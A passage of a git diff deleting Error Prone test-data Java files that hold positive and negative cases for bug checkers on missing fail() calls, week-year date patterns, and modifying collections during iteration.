try { - dummyMethod(); - } catch (Exception expected) { - } - } - } - - public void expectedException_loopInHelperMethod() throws Exception { - for (int i = 0; i < 2; i++) { - try { - dummyMethod(); - } catch (Exception expected) { - } - } - } - - public static Map assertInCatch_loopInHelperMethod(String... strings) { - Map map = new HashMap<>(); - for (String s : strings) { - try { - map.put(s, s); - } catch (Exception e) { - Assert.assertTrue(s.contains("foo")); - } - } - return map; - } - - // prefixed with "test" but private - not a test method. - private void testExpectedException_loopInPrivateTestHelperMethod() throws Exception { - for (int i = 0; i < 2; i++) { - try { - dummyMethod(); - } catch (Exception expected) { - } - } - } - - // prefixed with "test" but returns - not a test method. - public String testExpectedException_loopInReturningTestHelperMethod() throws Exception { - for (int i = 0; i < 2; i++) { - try { - dummyMethod(); - } catch (Exception expected) { - } - } - return ""; - } - - // Prefixed with "test" to not trigger loop in helper method exclusion. - public void testExpectedException_continueInCatch() throws Exception { - for (int i = 0; i < 2; i++) { - try { - dummyMethod(); - } catch (Exception expected) { - continue; - } - } - } - - // Prefixed with "test" to not trigger loop in helper method exclusion. - public void testExpectedException_continueInTry() throws Exception { - for (int i = 0; i < 2; i++) { - try { - dummyMethod(); - continue; - } catch (Exception expected) { - } - } - } - - public void expectedException_finally() { - try { - dummyMethod(); - } catch (Exception expected) { - } finally { - } - } - - public void expectedException_logInCatch() { - try { - dummyMethod(); - } catch (Exception expected) { - thingThatLogs.log(); - } - } - - public void expectedException_loggerCallInCatch() { - try { - dummyMethod(); - } catch (Exception expected) { - logger.info(); - } - } - - public void expectedException_logCallInCatch() { - try { - dummyMethod(); - } catch (Exception expected) { - log.info(); - } - } - - public void assertInCatch_assertLastCallInTry() { - try { - dummyMethod(); - assertDummy(); - } catch (Exception e) { - assertDummy(); - } - } - - public void assertInCatch_fieldAssignmentInCatch() { - try { - dummyMethod(); - } catch (Exception e) { - assertDummy(); - foo = true; - } - } - - public void assertInCatch_assertOnFieldInCatch() { - try { - dummyMethod(); - } catch (Exception e) { - Assert.assertTrue(foo); - } - } - - public void assertInCatch_assertOnVariableInCatch() { - boolean bar = false; - try { - dummyMethod(); - } catch (Exception e) { - Assert.assertTrue(bar); - } - } - - public void assertInCatch_verifyBeforeCatch() { - try { - dummyMethod(); - Mockito.verify(new Dummy()).dummy(); - } catch (Exception e) { - assertDummy(); - } - } - - public void assertInCatch_noopAssertInCatch() { - try { - dummyMethod(); - } catch (Exception e) { - assertTrue(true); - } - } - - public void expectedException_failInCatch() { - try { - dummyMethod(); - } catch (Exception expected) { - Assert.fail(); - } - } - - public void expectedException_whileTrue() { - try { - while (true) { - dummyMethod(); - } - } catch (Exception expected) { - } - } - - public void expectedException_customFail() { - try { - dummyMethod(); - specialFail(); - } catch (Exception expected) { - } - } - - private static void dummyMethod() throws InterruptedException {} - - private static void assertDummy() {} - - private static void specialFail() {} - - private static class Logger { - - void log() {} - ; - - void info() {} - ; - } - - private static class Dummy { - - String dummy() { - return ""; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailNegativeCases2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailNegativeCases2.java deleted file mode 100644 index fcd7ce8eb37..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailNegativeCases2.java +++ /dev/null @@ -1,40 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** Test cases for missing fail in a non-test class */ -public class MissingFailNegativeCases2 { - - public void expectedException_emptyCatch() { - try { - dummyMethod(); - } catch (Exception expected) { - } - } - - public void catchAssert() { - try { - dummyMethod(); - } catch (Exception e) { - assertDummy(); - } - } - - private static void dummyMethod() {} - - private static void assertDummy() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailPositiveCases.java deleted file mode 100644 index d463bb9c6cf..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailPositiveCases.java +++ /dev/null @@ -1,154 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junit.framework.TestCase; -import org.junit.Assert; -import org.mockito.Mockito; - -/** Test cases for missing fail */ -public class MissingFailPositiveCases extends TestCase { - - private boolean foo = true; - - public void expectedException_emptyCatch() { - try { - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception expected) { - } - } - - public void catchAssert() { - try { - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception e) { - assertDummy(); - } - } - - public void catchVerify() { - try { - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception e) { - verifyDummy(); - } - } - - public void expectedException_throwOutsideTryTree() throws Exception { - try { - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception expected) { - } - throw new Exception(); - } - - public void expectedException_assertLastCall() throws Exception { - try { - dummyMethod(); - // BUG: Diagnostic contains: fail() - assertDummy(); - } catch (Exception expected) { - } - throw new Exception(); - } - - public void expectedException_fieldAssignmentInCatch() { - try { - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception expected) { - foo = true; - } - } - - public void catchAssert_noopAssertLastCall() { - try { - dummyMethod(); - // BUG: Diagnostic contains: fail() - Assert.assertTrue(true); - } catch (Exception e) { - assertDummy(); - } - } - - public void assertInCatch_verifyNotLastStatement() { - try { - Mockito.verify(new Dummy()).dummy(); - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception e) { - assertDummy(); - } - } - - public void assertInCatch_verifyInCatch() { - try { - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception e) { - assertDummy(); - Mockito.verify(new Dummy()).dummy(); - } - } - - public void expectedException_logInTry() { - try { - new Logger().log(); - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception expected) { - foo = true; - } - } - - /** Sameple inner class. */ - public static class Inner { - public void expectedException_emptyCatch() { - try { - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception expected) { - } - } - } - - private static class Dummy { - - String dummy() { - return ""; - } - } - - private static class Logger { - - void log() {} - ; - - void info() {} - ; - } - - private static void dummyMethod() {} - - private static void assertDummy() {} - - private static void verifyDummy() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailPositiveCases2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailPositiveCases2.java deleted file mode 100644 index 0f71be20de0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailPositiveCases2.java +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -// unused import to make sure we don't introduce an import conflict. - -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Test cases for missing fail */ -@RunWith(JUnit4.class) -public class MissingFailPositiveCases2 { - - @Test - public void expectedException() { - try { - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception expected) { - } - } - - public void expectedException_helperMethod() { - try { - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception expected) { - } - } - - private static void dummyMethod() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailPositiveCases3.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailPositiveCases3.java deleted file mode 100644 index e94ebaf61b6..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailPositiveCases3.java +++ /dev/null @@ -1,48 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junit.framework.TestCase; - -/** Examples of an inner test case. */ -public class MissingFailPositiveCases3 { - - /** Sample inner class. */ - public static class Inner extends TestCase { - - public void expectedException_emptyCatch() { - try { - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception expected) { - } - } - - public void catchAssert() { - try { - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception e) { - assertDummy(); - } - } - } - - private static void dummyMethod() {} - - private static void assertDummy() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MisusedWeekYearNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MisusedWeekYearNegativeCases.java deleted file mode 100644 index 3c135870c04..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MisusedWeekYearNegativeCases.java +++ /dev/null @@ -1,60 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.text.DateFormatSymbols; -import java.text.SimpleDateFormat; -import java.util.Locale; - -public class MisusedWeekYearNegativeCases { - void testLiteralPattern() { - SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd"); - simpleDateFormat = new SimpleDateFormat("MM-dd"); - simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd", DateFormatSymbols.getInstance()); - simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd", Locale.getDefault()); - - // Don't flag if the pattern contains "ww", the week-in-year specifier. - simpleDateFormat = new SimpleDateFormat("YYYY-ww"); - simpleDateFormat = new SimpleDateFormat("YY-ww"); - simpleDateFormat = new SimpleDateFormat("Y-ww"); - simpleDateFormat = new SimpleDateFormat("Yw"); - } - - void testLiteralPatternWithFolding() { - SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy" + "-MM-dd"); - } - - private static final String WEEK_YEAR_PATTERN = "yyyy-MM-dd"; - - void testConstantPattern() { - SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN); - } - - private static class MySimpleDateFormat extends SimpleDateFormat { - public MySimpleDateFormat(String pattern) { - super(pattern); - } - } - - // Don't match on subtypes, since we don't know what their applyPattern and - // applyLocalizedPattern methods might do. - void testSubtype() { - MySimpleDateFormat mySdf = new MySimpleDateFormat("YYYY-MM-dd"); - mySdf.applyPattern("YYYY-MM-dd"); - mySdf.applyLocalizedPattern("YYYY-MM-dd"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MisusedWeekYearPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MisusedWeekYearPositiveCases.java deleted file mode 100644 index 073456954f0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MisusedWeekYearPositiveCases.java +++ /dev/null @@ -1,110 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.text.DateFormatSymbols; -import java.text.SimpleDateFormat; -import java.util.Locale; - -public class MisusedWeekYearPositiveCases { - void testConstructorWithLiteralPattern() { - // BUG: Diagnostic contains: new SimpleDateFormat("yyyy-MM-dd") - SimpleDateFormat simpleDateFormat = new SimpleDateFormat("YYYY-MM-dd"); - - // BUG: Diagnostic contains: new SimpleDateFormat("yy-MM-dd") - simpleDateFormat = new SimpleDateFormat("YY-MM-dd"); - - // BUG: Diagnostic contains: new SimpleDateFormat("y-MM-dd") - simpleDateFormat = new SimpleDateFormat("Y-MM-dd"); - - // BUG: Diagnostic contains: new SimpleDateFormat("yyyyMMdd_HHmm") - simpleDateFormat = new SimpleDateFormat("YYYYMMdd_HHmm"); - - // BUG: Diagnostic contains: new SimpleDateFormat("yyyy-MM-dd", DateFormatSymbols.getInstance()) - simpleDateFormat = new SimpleDateFormat("YYYY-MM-dd", DateFormatSymbols.getInstance()); - - // BUG: Diagnostic contains: new SimpleDateFormat("yyyy-MM-dd", Locale.getDefault()) - simpleDateFormat = new SimpleDateFormat("YYYY-MM-dd", Locale.getDefault()); - } - - void testConstructorWithLiteralPatternWithFolding() { - // TODO(eaftan): javac has a bug in that when it folds string literals, the start position of - // the folded string literal node is set as the start position of the + operator. We have - // fixed this in our internal javac, but haven't pushed the change to our external javac mirror. - // We should push that fix to the javac mirror repo, and then we can test that the suggested - // fix offered here is correct ("yyyy-MM-dd"). - // BUG: Diagnostic contains: - SimpleDateFormat simpleDateFormat = new SimpleDateFormat("YYYY" + "-MM-dd"); - } - - private static final String WEEK_YEAR_PATTERN = "YYYY"; - - private static final String WEEK_YEAR_PATTERN_2 = "YY"; - - private static final String WEEK_YEAR_PATTERN_3 = "Y"; - - void testConstructorWithConstantPattern() { - // BUG: Diagnostic contains: - SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN); - } - - void testConstructorWithConstantPattern2() { - // BUG: Diagnostic contains: - SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN_2); - } - - void testConstructorWithConstantPattern3() { - // BUG: Diagnostic contains: - SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN_3); - } - - void testConstructorWithConstantPatternWithFolding() { - // BUG: Diagnostic contains: - SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN + "-MM-dd"); - } - - void testConstructorWithConstantPatternWithFolding2() { - // BUG: Diagnostic contains: - SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN_2 + "-MM-dd"); - } - - void testConstructorWithConstantPatternWithFolding3() { - // BUG: Diagnostic contains: - SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN_3 + "-MM-dd"); - } - - void testApplyPatternAndApplyLocalizedPatternWithLiteralPattern() { - SimpleDateFormat sdf = new SimpleDateFormat(); - // BUG: Diagnostic contains: sdf.applyPattern("yyyy-MM-dd") - sdf.applyPattern("YYYY-MM-dd"); - // BUG: Diagnostic contains: sdf.applyLocalizedPattern("yyyy-MM-dd") - sdf.applyLocalizedPattern("YYYY-MM-dd"); - } - - void testApplyPatternAndApplyLocalizedPatternWithConstantPattern() { - SimpleDateFormat sdf = new SimpleDateFormat(); - // BUG: Diagnostic contains: - sdf.applyPattern(WEEK_YEAR_PATTERN); - // BUG: Diagnostic contains: - sdf.applyLocalizedPattern(WEEK_YEAR_PATTERN); - } - - void testDateTimeFormatter() { - // BUG: Diagnostic contains: - java.time.format.DateTimeFormatter.ofPattern(WEEK_YEAR_PATTERN); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MisusedWeekYearPositiveCases2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MisusedWeekYearPositiveCases2.java deleted file mode 100644 index 62164f0af7f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MisusedWeekYearPositiveCases2.java +++ /dev/null @@ -1,54 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.ibm.icu.text.DateFormatSymbols; -import com.ibm.icu.text.SimpleDateFormat; -import com.ibm.icu.util.ULocale; -import java.util.Locale; - -/** Tests for {@link com.ibm.icu.text.SimpleDateFormat}. */ -public class MisusedWeekYearPositiveCases2 { - - void testConstructors() { - // BUG: Diagnostic contains: new SimpleDateFormat("yyyy-MM-dd") - SimpleDateFormat sdf = new SimpleDateFormat("YYYY-MM-dd"); - - // BUG: Diagnostic contains: - sdf = new SimpleDateFormat("YYYY-MM-dd", DateFormatSymbols.getInstance()); - - // BUG: Diagnostic contains: - sdf = new SimpleDateFormat("YYYY-MM-dd", DateFormatSymbols.getInstance(), ULocale.CANADA); - - // BUG: Diagnostic contains: - sdf = new SimpleDateFormat("YYYY-MM-dd", Locale.getDefault()); - - // BUG: Diagnostic contains: - sdf = new SimpleDateFormat("YYYY-MM-dd", "", ULocale.CANADA); - - // BUG: Diagnostic contains: - sdf = new SimpleDateFormat("YYYY-MM-dd", ULocale.CANADA); - } - - void testApplyPatternAndApplyLocalizedPattern() { - SimpleDateFormat sdf = new SimpleDateFormat(); - // BUG: Diagnostic contains: sdf.applyPattern("yyyy-MM-dd") - sdf.applyPattern("YYYY-MM-dd"); - // BUG: Diagnostic contains: - sdf.applyLocalizedPattern("YYYY-MM-dd"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyCollectionInEnhancedForLoopNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyCollectionInEnhancedForLoopNegativeCases.java deleted file mode 100644 index 280657729bb..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyCollectionInEnhancedForLoopNegativeCases.java +++ /dev/null @@ -1,111 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns; - -import java.util.ArrayList; -import java.util.HashMap; -import java.util.HashSet; -import java.util.LinkedList; -import java.util.Map; -import java.util.concurrent.BlockingQueue; -import java.util.concurrent.CopyOnWriteArrayList; - -/** - * @author anishvisaria98@gmail.com (Anish Visaria) - */ -public class ModifyCollectionInEnhancedForLoopNegativeCases { - - public static void testBasic(ArrayList arr, HashSet set) { - for (Integer a : arr) { - set.add(a); - set.addAll(arr); - set.clear(); - set.removeAll(arr); - set.retainAll(arr); - } - - for (Integer i : set) { - arr.add(i); - arr.addAll(set); - arr.clear(); - arr.removeAll(set); - arr.retainAll(set); - } - } - - public static void testNested(ArrayList arr, LinkedList list) { - for (Integer x : arr) { - for (Integer y : list) {} - - list.add(x); - list.addAll(arr); - list.clear(); - list.removeAll(arr); - list.retainAll(arr); - } - } - - public static void testBreakOutOfLoop(ArrayList xs) { - for (Integer x : xs) { - xs.remove(x); - return; - } - for (Integer x : xs) { - xs.remove(x); - System.err.println(); - break; - } - } - - public static void testMapKeySet(HashMap map1, HashMap map2) { - for (Integer a : map1.keySet()) { - map2.putIfAbsent(Integer.parseInt("42"), Integer.parseInt("43")); - map2.clear(); - map2.remove(a); - } - } - - public static void testMapValues(HashMap map1, HashMap map2) { - for (Integer a : map1.values()) { - map2.putIfAbsent(Integer.parseInt("42"), a); - map2.clear(); - map2.remove(Integer.parseInt("42")); - } - } - - public static void testMapEntrySet( - HashMap map1, HashMap map2) { - for (Map.Entry a : map1.entrySet()) { - map2.putIfAbsent(Integer.parseInt("42"), Integer.parseInt("43")); - map2.clear(); - map2.remove(a.getKey()); - } - } - - private static void concurrent() { - CopyOnWriteArrayList cowal = new CopyOnWriteArrayList<>(); - for (int i : cowal) { - cowal.remove(i); - } - } - - interface MyBlockingQueue extends BlockingQueue {} - - private static void customConcurrent(MyBlockingQueue mbq) { - for (Integer i : mbq) { - mbq.add(i); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyCollectionInEnhancedForLoopPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyCollectionInEnhancedForLoopPositiveCases.java deleted file mode 100644 index ec28af1bdaa..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyCollectionInEnhancedForLoopPositiveCases.java +++ /dev/null @@ -1,108 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns; - -import java.util.ArrayList; -import java.util.HashMap; -import java.util.HashSet; -import java.util.LinkedList; -import java.util.Map; - -/** - * @author anishvisaria98@gmail.com (Anish Visaria) - */ -public class ModifyCollectionInEnhancedForLoopPositiveCases { - - public static void testBasic(ArrayList arr, HashSet set) { - for (Integer a : arr) { - // BUG: Diagnostic contains: - arr.add(new Integer("42")); - // BUG: Diagnostic contains: - arr.addAll(set); - // BUG: Diagnostic contains: - arr.clear(); - // BUG: Diagnostic contains: - arr.remove(a); - // BUG: Diagnostic contains: - arr.removeAll(set); - // BUG: Diagnostic contains: - arr.retainAll(set); - } - } - - public static void testNested(ArrayList arr, LinkedList list) { - for (Integer x : arr) { - for (Integer y : list) { - // BUG: Diagnostic contains: - arr.add(y); - // BUG: Diagnostic contains: - arr.addAll(list); - // BUG: Diagnostic contains: - arr.clear(); - // BUG: Diagnostic contains: - arr.remove(x); - // BUG: Diagnostic contains: - arr.removeAll(list); - // BUG: Diagnostic contains: - arr.retainAll(list); - // BUG: Diagnostic contains: - list.add(x); - // BUG: Diagnostic contains: - list.addAll(arr); - // BUG: Diagnostic contains: - list.clear(); - // BUG: Diagnostic contains: - list.remove(y); - // BUG: Diagnostic contains: - list.removeAll(arr); - // BUG: Diagnostic contains: - list.retainAll(arr); - } - } - } - - public static void testMapKeySet(HashMap map) { - for (Integer a : map.keySet()) { - // BUG: Diagnostic contains: - map.putIfAbsent(new Integer("42"), new Integer("43")); - // BUG: Diagnostic contains: - map.clear(); - // BUG: Diagnostic contains: - map.remove(a); - } - } - - public static void testMapValues(HashMap map) { - for (Integer a : map.values()) { - // BUG: Diagnostic contains: - map.putIfAbsent(new Integer("42"), new Integer("43")); - // BUG: Diagnostic contains: - map.putIfAbsent(new Integer("42"), a); - // BUG: Diagnostic contains: - map.clear(); - } - } - - public static void testMapEntrySet(HashMap map) { - for (Map.Entry a : map.entrySet()) { - // BUG: Diagnostic contains: - map.putIfAbsent(new Integer("42"), new Integer("43")); - // BUG: Diagnostic contains: - map.clear(); - // BUG: Diagnostic contains: - map.remove(a.getKey()); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifySourceCollectionInStreamNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifySourceCollectionInStreamNegativeCases.java deleted file mode 100644 index e66604b7829..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifySourceCollectionInStreamNegativeCases.java +++ /dev/null @@ -1,113 +0,0 @@ -/* - * Copyright 2019 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.ArrayList; -import java.util.Arrays; -import java.util.List; -import java.util.function.Consumer; -import java.util.stream.Collectors; -import java.util.stream.Stream; - -/** - * Test cases for {@link com.google.errorprone.bugpatterns.ModifySourceCollectionInStream}. - * - * @author deltazulu@google.com (Donald Duo Zhao) - */ -public class ModifySourceCollectionInStreamNegativeCases { - - private final List mutableValues = Arrays.asList(1, 2, 3); - - private void mutateStreamSourceMethodReference() { - - List mutableValues = new ArrayList<>(); - mutableValues.stream().map(x -> x + 1).filter(x -> x < 5).forEach(this.mutableValues::add); - - mutableValues.forEach(this.mutableValues::add); - - ModifySourceCollectionInStreamNegativeCases[] cases = { - new ModifySourceCollectionInStreamNegativeCases(), - new ModifySourceCollectionInStreamNegativeCases() - }; - - cases[0].mutableValues.stream() - .map(x -> x + 1) - .filter(x -> x < 5) - .forEach(cases[1].mutableValues::add); - } - - private List mutateStreamSourceLambdaExpression() { - - List localCopy = new ArrayList<>(); - - Stream values1 = - mutableValues.stream() - .map( - x -> { - localCopy.add(x); - return x + 1; - }); - - Stream values2 = - mutableValues.stream() - .filter( - x -> { - localCopy.remove(x); - return mutableValues.size() > 5; - }); - - return Stream.concat(values1, values2).collect(Collectors.toList()); - } - - private void mutateStreamSourceInNonStreamApi() { - mutableValues.stream() - .map(x -> x + 1) - .filter(x -> x < 5) - .findAny() - .ifPresent(mutableValues::add); - - mutableValues.stream() - .map(x -> x + 1) - .filter(x -> x < 5) - .findFirst() - .ifPresent(value -> mutableValues.remove(value)); - } - - private void mutateDifferentStreamSource() { - // Mutate a different stream source. - mutableValues.stream().filter(x -> x < 5).collect(Collectors.toList()).stream() - .forEach(mutableValues::remove); - - // Mutate source collection whose stream has been closed. - mutableValues.stream() - .filter(x -> x < 5) - .collect(Collectors.toList()) - .forEach(mutableValue -> mutableValues.remove(mutableValue)); - } - - private void mutateNonCollectionStreamSource(CustomContainer vals) { - vals.stream().map(x -> 2.0 * x).forEach(vals::add); - } - - private void lambdaExpressionAsInitializer(List vals) { - Consumer consumer = x -> vals.remove(x); - } - - private interface CustomContainer { - Stream stream(); - - boolean add(T t); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifySourceCollectionInStreamPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifySourceCollectionInStreamPositiveCases.java deleted file mode 100644 index e9df22d6d11..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifySourceCollectionInStreamPositiveCases.java +++ /dev/null @@ -1,95 +0,0 @@ -/* - * Copyright 2019 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.common.collect.ImmutableList; -import java.util.Arrays; -import java.util.List; -import java.util.stream.Collectors; -import java.util.stream.Stream; - -/** - * Test cases for {@link com.google.errorprone.bugpatterns.ModifySourceCollectionInStream}. - * - * @author deltazulu@google.com (Donald Duo Zhao) - */ -public class ModifySourceCollectionInStreamPositiveCases { - - private final List mutableValues = Arrays.asList(1, 2, 3); - - private void mutateStreamSourceMethodReference() { - - mutableValues.stream() - .map(x -> x + 1) - .filter(x -> x < 5) - // BUG: Diagnostic contains: - .forEach(mutableValues::remove); - - this.mutableValues.stream() - .map(x -> x + 1) - .filter(x -> x < 5) - // BUG: Diagnostic contains: - .forEach(mutableValues::remove); - - getMutableValues().parallelStream() - .map(x -> x + 1) - .filter(x -> x < 5) - // BUG: Diagnostic contains: - .forEach(getMutableValues()::add); - - getMutableValues().stream() - .map(x -> x + 1) - .filter(x -> x < 5) - // BUG: Diagnostic contains: - .forEach(this.getMutableValues()::remove); - - ModifySourceCollectionInStreamPositiveCases[] cases = { - new ModifySourceCollectionInStreamPositiveCases(), - new ModifySourceCollectionInStreamPositiveCases() - }; - cases[0].mutableValues.stream() - 